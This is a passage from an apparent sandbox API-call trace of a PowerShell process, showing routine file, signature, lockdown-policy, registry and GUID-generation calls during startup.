(in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x6c5899c | out: lpFileInformation=0x6c5899c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d95e79, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8d95e79, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8d95e79, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x244af)) returned 1 [0094.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0f8) returned 1 [0094.466] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dbcc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0094.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e02c) returned 1 [0094.466] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x427e0a8 | out: lpFileInformation=0x427e0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d95e79, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8d95e79, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8d95e79, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x244af)) returned 1 [0094.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e028) returned 1 [0094.466] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427db00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0094.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427dff4) returned 1 [0094.466] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x528 [0094.466] GetFileType (hFile=0x528) returned 0x1 [0094.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427dff0) returned 1 [0094.466] GetFileType (hFile=0x528) returned 0x1 [0094.466] WTGetSignatureInfo () returned 0x0 [0094.526] CertDuplicateCertificateContext (pCertContext=0x8c42910) returned 0x8c42910 [0094.526] CoTaskMemAlloc (cb=0x10) returned 0x8c08eb8 [0094.526] CoTaskMemAlloc (cb=0x30) returned 0x8bf7168 [0094.526] WinVerifyTrust () returned 0x0 [0094.527] CoTaskMemFree (pv=0x8bf7168) [0094.527] CoTaskMemFree (pv=0x8c08eb8) [0094.527] CertFreeCertificateContext (pCertContext=0x8c42910) returned 1 [0094.527] CloseHandle (hObject=0x528) returned 1 [0094.537] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0094.537] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0094.537] CoTaskMemFree (pv=0x42c9ac0) [0094.537] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dc5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0094.537] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dcd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0094.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e138) returned 1 [0094.537] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e1b4 | out: lpFileInformation=0x427e1b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0094.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e134) returned 1 [0094.537] WldpGetLockdownPolicy () returned 0x0 [0094.538] GetSystemInfo (in: lpSystemInfo=0x427e1e0 | out: lpSystemInfo=0x427e1e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0094.538] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e16c | out: phkResult=0x427e16c*=0x528) returned 0x0 [0094.538] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e188, lpData=0x0, lpcbData=0x427e184*=0x0 | out: lpType=0x427e188*=0x0, lpData=0x0, lpcbData=0x427e184*=0x0) returned 0x2 [0094.538] RegCloseKey (hKey=0x528) returned 0x0 [0094.538] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xea16895a, Data2=0x64fa, Data3=0x472d, Data4=([0]=0xbc, [1]=0xac, [2]=0x1a, [3]=0x62, [4]=0xa1, [5]=0xd5, [6]=0x54, [7]=0xeb))) returned 0x0 [0094.538] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xd3d10972, Data2=0xc56c, Data3=0x4249, Data4=([0]=0xbf, [1]=0x1d, [2]=0xac, [3]=0x93, [4]=0xa, [5]=0xb4, [6]=0x7b, [7]=0xaf))) returned 0x0 [0094.539] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x46d6105c, Data2=0xe2df, Data3=0x422c, Data4=([0]=0xa7, [1]=0x82, [2]=0xa2, [3]=0x4, [4]=0x2f, [5]=0xba, [6]=0x0, [7]=0xd1))) returned 0x0 [0094.539] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x823b1b65, Data2=0xbcf4, Data3=0x48cc, Data4=([0]=0xa3, [1]=0x54, [2]=0x19, [3]=0x16, [4]=0xcf, [5]=0x9b, [6]=0x2c, [7]=0x12))) returned 0x0 [0094.539] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x85d3af18, Data2=0xa184, Data3=0x4153, Data4=([0]=0x92, [1]=0xd7, [2]=0xa8, [3]=0x86, [4]=0xdb, [5]=0xda, [6]=0x79, [7]=0x1a))) returned 0x0 [0094.539] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x192e8, Data2=0x79f7, Data3=0x481c, Data4=([0]=0x8c, [1]=0x38, [2]=0x6, [3]=0xbb, [4]=0x79, [5]=0x68, [6]=0xba, [7]=0x21))) returned 0x0 [0094.540] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xbcd08168, Data2=0x9036, Data3=0x4053, Data4=([0]=0xbf, [1]=0xa9, [2]=0x83, [3]=0xb6, [4]=0xe7, [5]=0x83, [6]=0x5d, [7]=0x61))) returned 0x0 [0094.540] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xdf8497f8, Data2=0x97f7, Data3=0x42c1, Data4=([0]=0x99, [1]=0x51, [2]=0x72, [3]=0x28, [4]=0x7d, [5]=0x5a, [6]=0x54, [7]=0xff))) returned 0x0 [0094.540] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xb8e28d21, Data2=0xcb72, Data3=0x4717, Data4=([0]=0x89, [1]=0x38, [2]=0xa9, [3]=0x3b, [4]=0x55, [5]=0xb4, [6]=0x6e, [7]=0xcc))) returned 0x0 [0094.540] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xfd0338ea, Data2=0xcc7b, Data3=0x44cb, Data4=([0]=0x83, [1]=0x54, [2]=0x73, [3]=0x5d, [4]=0xfa, [5]=0x9c, [6]=0xc, [7]=0x9))) returned 0x0 [0094.540] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xdae87263, Data2=0x1cc9, Data3=0x47e6, Data4=([0]=0x86, [1]=0xd, [2]=0xc5, [3]=0xde, [4]=0xb5, [5]=0xca, [6]=0x84, [7]=0x50))) returned 0x0 [0094.540] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x83d8c80b, Data2=0xa08c, Data3=0x4f6a, Data4=([0]=0x87, [1]=0xf1, [2]=0x49, [3]=0x86, [4]=0x84, [5]=0x80, [6]=0x18, [7]=0x79))) returned 0x0 [0094.541] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xd8774353, Data2=0x3334, Data3=0x4caa, Data4=([0]=0x8c, [1]=0xe9, [2]=0x65, [3]=0x7d, [4]=0xd3, [5]=0xf5, [6]=0x6a, [7]=0xd2))) returned 0x0 [0094.541] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x9ea9e08f, Data2=0xa7dc, Data3=0x477b, Data4=([0]=0x86, [1]=0x42, [2]=0x5b, [3]=0xca, [4]=0xc7, [5]=0x4f, [6]=0x1e, [7]=0x10))) returned 0x0 [0094.541] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x98eac963, Data2=0x13bc, Data3=0x460e, Data4=([0]=0xac, [1]=0x74, [2]=0xd9, [3]=0x48, [4]=0xba, [5]=0xac, [6]=0x1e, [7]=0x2c))) returned 0x0 [0094.541] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x26bec2e1, Data2=0xd191, Data3=0x44f9, Data4=([0]=0xbd, [1]=0x99, [2]=0x82, [3]=0x19, [4]=0x31, [5]=0xd5, [6]=0x2d, [7]=0xca))) returned 0x0 [0094.541] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x929eacfc, Data2=0xb93, Data3=0x479a, Data4=([0]=0xad, [1]=0xdc, [2]=0x55, [3]=0xab, [4]=0xfd, [5]=0xb0, [6]=0xd0, [7]=0x75))) returned 0x0 [0094.541] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x65c3f6ae, Data2=0x952f, Data3=0x4f83, Data4=([0]=0xbc, [1]=0xc7, [2]=0xfd, [3]=0x6d, [4]=0x3f, [5]=0x47, [6]=0x4a, [7]=0xb3))) returned 0x0 [0094.541] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x61519849, Data2=0x488e, Data3=0x4b79, Data4=([0]=0xa8, [1]=0x3e, [2]=0x6f, [3]=0xdf, [4]=0x4e, [5]=0x35, [6]=0x89, [7]=0x1a))) returned 0x0 [0094.542] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x8f8fd72a, Data2=0x4815, Data3=0x42d2, Data4=([0]=0xa8, [1]=0x93, [2]=0xbd, [3]=0x46, [4]=0x10, [5]=0x81, [6]=0x53, [7]=0xb8))) returned 0x0 [0094.542] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xe96234d0, Data2=0xd9ec, Data3=0x4f02, Data4=([0]=0x94, [1]=0xc1, [2]=0x9b, [3]=0x8e, [4]=0xed, [5]=0x9, [6]=0x67, [7]=0x3f))) returned 0x0 [0094.542] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x5cc68869, Data2=0x4fe0, Data3=0x4e06, Data4=([0]=0x92, [1]=0xe, [2]=0x1a, [3]=0x35, [4]=0xfa, [5]=0x98, [6]=0x91, [7]=0xeb))) returned 0x0 [0094.542] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xed246259, Data2=0x90e1, Data3=0x46c0, Data4=([0]=0xa1, [1]=0x99, [2]=0x44, [3]=0xf3, [4]=0x44, [5]=0xb4, [6]=0x1a, [7]=0x7))) returned 0x0 [0094.542] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x3ed029fa, Data2=0xaa42, Data3=0x42f5, Data4=([0]=0x84, [1]=0x9f, [2]=0xd3, [3]=0x50, [4]=0x71, [5]=0xb4, [6]=0xb1, [7]=0xbc))) returned 0x0 [0094.543] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x56b3f46, Data2=0x7f6f, Data3=0x4fbc, Data4=([0]=0xbe, [1]=0x2f, [2]=0x2d, [3]=0x8f, [4]=0x83, [5]=0x5a, [6]=0x35, [7]=0xe6))) returned 0x0 [0094.543] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x139c810e, Data2=0x88c2, Data3=0x4361, Data4=([0]=0x8a, [1]=0xcc, [2]=0x5b, [3]=0x85, [4]=0xbb, [5]=0x83, [6]=0x33, [7]=0xac))) returned 0x0 [0094.543] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xe56ad9e1, Data2=0xe450, Data3=0x4411, Data4=([0]=0x90, [1]=0xc6, [2]=0xe, [3]=0xb3, [4]=0xab, [5]=0x3b, [6]=0x1f, [7]=0x8c))) returned 0x0 [0094.543] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xa8b10aaa, Data2=0xb433, Data3=0x4dc8, Data4=([0]=0xb6, [1]=0x82, [2]=0x9e, [3]=0xba, [4]=0x12, [5]=0x42, [6]=0x4d, [7]=0xa6))) returned 0x0 [0094.543] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x1395fd20, Data2=0xdda, Data3=0x44a9, Data4=([0]=0x9b, [1]=0xb, [2]=0x31, [3]=0x30, [4]=0x93, [5]=0xce, [6]=0xc0, [7]=0x63))) returned 0x0 [0094.543] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x11c60011, Data2=0xcaaa, Data3=0x440e, Data4=([0]=0x91, [1]=0x8, [2]=0xb0, [3]=0xa3, [4]=0x67, [5]=0x95, [6]=0x2a, [7]=0x60))) returned 0x0 [0094.543] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xfe274c27, Data2=0xcf00, Data3=0x4ade, Data4=([0]=0x88, [1]=0xf0, [2]=0xa6, [3]=0x76, [4]=0xfa, [5]=0xce, [6]=0x53, [7]=0xbb))) returned 0x0 [0094.544] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xabb6d841, Data2=0x3efe, Data3=0x4a8a, Data4=([0]=0xac, [1]=0xf8, [2]=0x97, [3]=0x4b, [4]=0xd, [5]=0x28, [6]=0xb5, [7]=0xb0))) returned 0x0 [0094.544] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x8e1a48a3, Data2=0xbd9, Data3=0x4be8, Data4=([0]=0xa3, [1]=0xeb, [2]=0x36, [3]=0xbe, [4]=0x62, [5]=0x3b, [6]=0xd7, [7]=0x2f))) returned 0x0 [0094.544] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x3c57c8f3, Data2=0x2cb1, Data3=0x4f0a, Data4=([0]=0xab, [1]=0xb0, [2]=0x7e, [3]=0x63, [4]=0x78, [5]=0x93, [6]=0xd5, [7]=0x1e))) returned 0x0 [0094.544] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x88eb7555, Data2=0xed66, Data3=0x47a7, Data4=([0]=0x9e, [1]=0x1a, [2]=0x50, [3]=0xf7, [4]=0xa0, [5]=0x2d, [6]=0x81, [7]=0x46))) returned 0x0 [0094.544] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xa43b8627, Data2=0x564e, Data3=0x4178, Data4=([0]=0x83, [1]=0x83, [2]=0xf, [3]=0x6a, [4]=0x77, [5]=0xcd, [6]=0x3b, [7]=0x2c))) returned 0x0 [0094.545] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x34704bc6, Data2=0xff79, Data3=0x4dc6, Data4=([0]=0x98, [1]=0x44, [2]=0xd9, [3]=0x7, [4]=0x27, [5]=0x65, [6]=0x6, [7]=0x92))) returned 0x0 [0094.545] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x510e88d3, Data2=0x8860, Data3=0x40e3, Data4=([0]=0x83, [1]=0xc2, [2]=0x34, [3]=0x4c, [4]=0x64, [5]=0x85, [6]=0x12, [7]=0x8f))) returned 0x0 [0094.545] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x328a7864, Data2=0xf0ac, Data3=0x4e1e, Data4=([0]=0x98, [1]=0xd4, [2]=0x99, [3]=0x82, [4]=0xea, [5]=0x31, [6]=0x4e, [7]=0x3d))) returned 0x0 [0094.545] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x8754e1b7, Data2=0xa97e, Data3=0x490b, Data4=([0]=0x82, [1]=0x6d, [2]=0x9a, [3]=0xd1, [4]=0x2e, [5]=0x5e, [6]=0x2c, [7]=0x6e))) returned 0x0 [0094.545] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xbce81fbd, Data2=0x9ff9, Data3=0x4730, Data4=([0]=0x9b, [1]=0xd, [2]=0xc, [3]=0xfe, [4]=0x54, [5]=0x57, [6]=0x1d, [7]=0xf1))) returned 0x0 [0094.545] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x7ba07af9, Data2=0xe918, Data3=0x41d9, Data4=([0]=0xa3, [1]=0x60, [2]=0x41, [3]=0x9, [4]=0x3a, [5]=0x49, [6]=0x6e, [7]=0xf3))) returned 0x0 [0094.546] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x3d09242d, Data2=0x648c, Data3=0x4ea9, Data4=([0]=0xbf, [1]=0xf2, [2]=0xcf, [3]=0x54, [4]=0x44, [5]=0xa3, [6]=0xa4, [7]=0x3e))) returned 0x0 [0094.546] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x973ee258, Data2=0x76ed, Data3=0x451f, Data4=([0]=0x8b, [1]=0x57, [2]=0x98, [3]=0xb7, [4]=0x5f, [5]=0x4d, [6]=0x2d, [7]=0x75))) returned 0x0 [0094.546] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x1a5dac77, Data2=0x1224, Data3=0x4c09, Data4=([0]=0xbd, [1]=0x6, [2]=0x26, [3]=0xe4, [4]=0x83, [5]=0x8f, [6]=0x39, [7]=0xb3))) returned 0x0 [0094.546] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xb17c5114, Data2=0x3818, Data3=0x4ab5, Data4=([0]=0xa6, [1]=0x20, [2]=0xfa, [3]=0xa8, [4]=0x53, [5]=0xfa, [6]=0x48, [7]=0x6b))) returned 0x0 [0094.547] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x9b69cea1, Data2=0x9576, Data3=0x4e93, Data4=([0]=0xad, [1]=0x49, [2]=0xfa, [3]=0xf6, [4]=0x7e, [5]=0xcd, [6]=0x51, [7]=0x18))) returned 0x0 [0094.547] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xa7c9bf66, Data2=0x3558, Data3=0x4cda, Data4=([0]=0xb9, [1]=0x9d, [2]=0xc5, [3]=0xe8, [4]=0x3e, [5]=0x53, [6]=0x2a, [7]=0x66))) returned 0x0 [0094.548] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x9db66516, Data2=0x3e9c, Data3=0x4332, Data4=([0]=0xa2, [1]=0x66, [2]=0x83, [3]=0x5b, [4]=0x55, [5]=0x6d, [6]=0xb, [7]=0xc))) returned 0x0 [0094.548] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x3a5cf90b, Data2=0xdfef, Data3=0x47c6, Data4=([0]=0x97, [1]=0x53, [2]=0x8e, [3]=0x52, [4]=0x3d, [5]=0x8d, [6]=0xcc, [7]=0xf7))) returned 0x0 [0094.548] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x7bf1b71f, Data2=0xbd9c, Data3=0x4aa7, Data4=([0]=0xba, [1]=0x3d, [2]=0xff, [3]=0x3e, [4]=0x75, [5]=0xe2, [6]=0x9a, [7]=0xb8))) returned 0x0 [0094.548] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x20568969, Data2=0xbce2, Data3=0x4e7d, Data4=([0]=0x94, [1]=0xd, [2]=0xc1, [3]=0x2b, [4]=0x74, [5]=0x1, [6]=0xa, [7]=0x0))) returned 0x0 [0094.549] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xd3fb3da3, Data2=0x6572, Data3=0x4a0f, Data4=([0]=0xa7, [1]=0x55, [2]=0x1e, [3]=0x94, [4]=0xda, [5]=0x84, [6]=0x7, [7]=0xd9))) returned 0x0 [0094.549] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x64e54822, Data2=0x3de, Data3=0x48f5, Data4=([0]=0xb3, [1]=0x52, [2]=0x44, [3]=0x43, [4]=0xe7, [5]=0xf5, [6]=0x23, [7]=0xc7))) returned 0x0 [0094.549] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x4dc8c91, Data2=0xcdb8, Data3=0x4293, Data4=([0]=0x8a, [1]=0x85, [2]=0x2c, [3]=0xeb, [4]=0xc3, [5]=0x12, [6]=0xf0, [7]=0x61))) returned 0x0 [0094.549] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x3f4fdd8a, Data2=0xbd34, Data3=0x455c, Data4=([0]=0xb2, [1]=0x54, [2]=0xc1, [3]=0x6e, [4]=0x5d, [5]=0xda, [6]=0x86, [7]=0xb6))) returned 0x0 [0094.550] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xc25c4a68, Data2=0x6e31, Data3=0x4138, Data4=([0]=0x9f, [1]=0x8f, [2]=0xc2, [3]=0xe, [4]=0xfd, [5]=0x8e, [6]=0x69, [7]=0x36))) returned 0x0 [0094.550] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xf6db494b, Data2=0x5720, Data3=0x447b, Data4=([0]=0x8c, [1]=0x76, [2]=0x70, [3]=0x28, [4]=0xc1, [5]=0x6b, [6]=0x76, [7]=0xa4))) returned 0x0 [0094.550] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xb9a08fa6, Data2=0x422c, Data3=0x4615, Data4=([0]=0xa7, [1]=0xbc, [2]=0x3b, [3]=0x31, [4]=0xb1, [5]=0xda, [6]=0x20, [7]=0x38))) returned 0x0 [0094.550] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x336c182b, Data2=0x68e6, Data3=0x4b43, Data4=([0]=0xad, [1]=0xcd, [2]=0x53, [3]=0x6f, [4]=0xd6, [5]=0x92, [6]=0xb7, [7]=0xbe))) returned 0x0 [0094.550] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x99d377e9, Data2=0xa0db, Data3=0x424c, Data4=([0]=0x89, [1]=0x7d, [2]=0xda, [3]=0x85, [4]=0xf3, [5]=0xb3, [6]=0x8c, [7]=0x8a))) returned 0x0 [0094.551] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xa28b9d4c, Data2=0xbce5, Data3=0x4066, Data4=([0]=0x81, [1]=0xd2, [2]=0x1, [3]=0xef, [4]=0xa7, [5]=0xee, [6]=0x70, [7]=0x41))) returned 0x0 [0094.551] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x53488450, Data2=0x5fb9, Data3=0x4492, Data4=([0]=0x8d, [1]=0x31, [2]=0x29, [3]=0x58, [4]=0x41, [5]=0x33, [6]=0xcb, [7]=0xba))) returned 0x0 [0094.551] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xa9b330b7, Data2=0x825a, Data3=0x467d, Data4=([0]=0x80, [1]=0xaf, [2]=0x69, [3]=0x1c, [4]=0x69, [5]=0x7d, [6]=0x63, [7]=0x51))) returned 0x0 [0094.551] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x6c50d32f, Data2=0xa46a, Data3=0x453c, Data4=([0]=0xb9, [1]=0xfa, [2]=0xa6, [3]=0xf0, [4]=0x60, [5]=0xc2, [6]=0x51, [7]=0x88))) returned 0x0 [0094.552] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x9cdfa521, Data2=0xab63, Data3=0x4562, Data4=([0]=0x9a, [1]=0x73, [2]=0x58, [3]=0x8d, [4]=0x77, [5]=0xad, [6]=0x30, [7]=0x23))) returned 0x0 [0094.552] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xdc779689, Data2=0x14, Data3=0x494f, Data4=([0]=0xb3, [1]=0x16, [2]=0xab, [3]=0xc3, [4]=0x1, [5]=0x1f, [6]=0x8c, [7]=0xca))) returned 0x0 [0094.552] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xa58d861, Data2=0x7f41, Data3=0x470c, Data4=([0]=0x9b, [1]=0x4c, [2]=0x18, [3]=0xdc, [4]=0x76, [5]=0x48, [6]=0x74, [7]=0x29))) returned 0x0 [0094.552] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x20eee798, Data2=0x9d00, Data3=0x43c4, Data4=([0]=0x82, [1]=0x2f, [2]=0xe5, [3]=0xe2, [4]=0xa0, [5]=0x51, [6]=0xd5, [7]=0x48))) returned 0x0 [0094.552] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xcf941d80, Data2=0x8f35, Data3=0x44da, Data4=([0]=0x8b, [1]=0x82, [2]=0x5f, [3]=0x32, [4]=0x83, [5]=0xa8, [6]=0xef, [7]=0x58))) returned 0x0 [0094.553] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x2935bd0d, Data2=0x8bbc, Data3=0x437d, Data4=([0]=0xae, [1]=0x15, [2]=0x2b, [3]=0x50, [4]=0x76, [5]=0xb8, [6]=0xb3, [7]=0xfd))) returned 0x0 [0094.553] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x9b2936b0, Data2=0x4065, Data3=0x48d1, Data4=([0]=0x83, [1]=0x3a, [2]=0xaa, [3]=0x1a, [4]=0x6e, [5]=0x75, [6]=0xeb, [7]=0x3f))) returned 0x0 [0094.553] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x56abf751, Data2=0xb8b9, Data3=0x4b4e, Data4=([0]=0x9d, [1]=0x22, [2]=0x1d, [3]=0x85, [4]=0x48, [5]=0xef, [6]=0x93, [7]=0x6b))) returned 0x0 [0094.554] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xaa6288a9, Data2=0x921c, Data3=0x412a, Data4=([0]=0x8a, [1]=0xcd, [2]=0x7a, [3]=0xd9, [4]=0x91, [5]=0xb5, [6]=0x7f, [7]=0xe0))) returned 0x0 [0094.554] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x92bb07cd, Data2=0x240a, Data3=0x408c, Data4=([0]=0xa0, [1]=0xb, [2]=0x82, [3]=0xb6, [4]=0xc6, [5]=0x2e, [6]=0x40, [7]=0x73))) returned 0x0 [0094.554] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x75ad6b19, Data2=0x1b83, Data3=0x40ad, Data4=([0]=0xb2, [1]=0xbf, [2]=0x6f, [3]=0x44, [4]=0x5d, [5]=0x58, [6]=0x4f, [7]=0xf1))) returned 0x0 [0094.554] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xf95a8d40, Data2=0x51e7, Data3=0x4010, Data4=([0]=0xaf, [1]=0x76, [2]=0x9e, [3]=0xe1, [4]=0x50, 